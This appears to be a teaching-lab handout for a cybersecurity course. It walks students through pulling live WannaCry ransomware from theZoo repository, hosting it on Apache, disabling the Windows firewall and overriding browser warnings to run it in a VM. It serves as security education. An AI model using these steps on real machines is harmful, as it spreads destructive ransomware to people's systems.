Warning: DO NOT run or open the ransomware file you create in this lab on your host computer. Use your Windows 10/11 virtual machine. Take a snapshot of your VM before you run the ransomware file.

Disclaimer

*Please note that any material or activity related to cybersecurity or hacking provided here is intended solely for educational purposes. The purpose of this material is to increase awareness and understanding of cybersecurity concepts and principles. The activities described in this material should not be attempted outside of a controlled educational setting. Any attempt to engage in illegal or unethical activities related to cybersecurity could result in serious legal and ethical consequences. It is the responsibility of individuals to use this information in a responsible and ethical manner.*

Ransomware attack Lab

**What is Ransomware Attack?**

* Ransomware is an example of malware where the attacker’s request payment with a threat
* The attacker can hide/encrypt all or part of the victim’s file system and request payment to get access back to the encrypted files.
* The attacker can threaten to release the victim’s data to the public if they don’t pay

# Lab overview

In this lab, students should learn how ransomware is created and executed on a victim machine

# Resources required

This exercise requires a Kali Linux VM and Windows VM running.

Warning: DO NOT run or open the ransomware file you create in this lab on your host computer. Use your Windows 10/11 virtual machine. Take a snapshot of your VM before you run the ransomware file.

References

<https://linuxreference.wordpress.com/malware-related/>

<https://techdhee.in/install-apache-on-kali-linux/>

<https://github.com/ytisf/theZoo/issues/128>

<https://github.com/ytisf/theZoo>

Steps

|  |  |
| --- | --- |
| 1. Connect Kali to NAT |  |
| 1. In the Kali Linux, open a Terminal 2. Type ***hostname -I*** to retrieve the IP address of the Linux |  |
| 1. Run the following command to access the code in the repository 2. git clone https://github. com/ytisf/   theZoo.git |  |
| 1. Verify the repository successfully downloaded 2. Run ls |  |
| 1. Navigate into theZoo directory 2. Run cd theZoo |  |
| 1. Use ls to see the contents of theZoo directory |  |
| 1. Run pip install --user -r require ments.txt |  |
| 1. Running python theZoo.py gives an error and so Run python 2 theZoo.py will be better 2. Type YES when prompted |  |
| 1. You should see the prompt change to "mdb #>". This signifies you are in theZoo 2. Type in help to list all the commands available |  |
| 1. Type in Update-db |  |
| 1. Run list all |  |
| 1. We are going to use the "WannaCry" ransomware library, which is #290 2. Run use 290 |  |
| 1. Run get 2. Run exit |  |
| 1. Run ls |  |
| 1. Run cat Ransomware. WannaCry. Pass 2. Password is infected 3. Run unzip Ransomware. WannaCry.zip 4. Enter the password infected |  |
| 1. Run ls |  |
| 1. Rename the file as a ransomware.exe 2. Run mv ed01(<TAB> to autofill) ransomware.exe 3. Run ls to verify |  |
| 1. Run sudo mv ransomeware.exe /var/www/html 2. Run sudo service apache2 start |  |

**In your VM machine (Windows 10 or 11)**

Warning: DO NOT run or open the ransomware file you create in this lab on your host computer. Use your Windows 10/11 virtual machine. Take a snapshot of your VM before you run the ransomware file.

|  |  |
| --- | --- |
| 1. Turn firewall off |  |
| 1. In windows client, open a browser and enter <http://Kali-IP-Address/ransomware.exe> 2. Chrome will try to block it but tell chrome to keep dangerous file 3. Click and run the executable file... |  |
| 1. Select “run” when prompted... 2. Select “yes” when prompted 3. The Ransomware is activated on the screen now! |  |
| 1. The windows client is under attack. |  |

Challenge tasks (optional)

1. Watch the following video on how to deal with a ransomware attack

<https://www.youtube.com/watch?v=g0yXmQx89x4>

Write down the steps mentioned in the above video. Explain the steps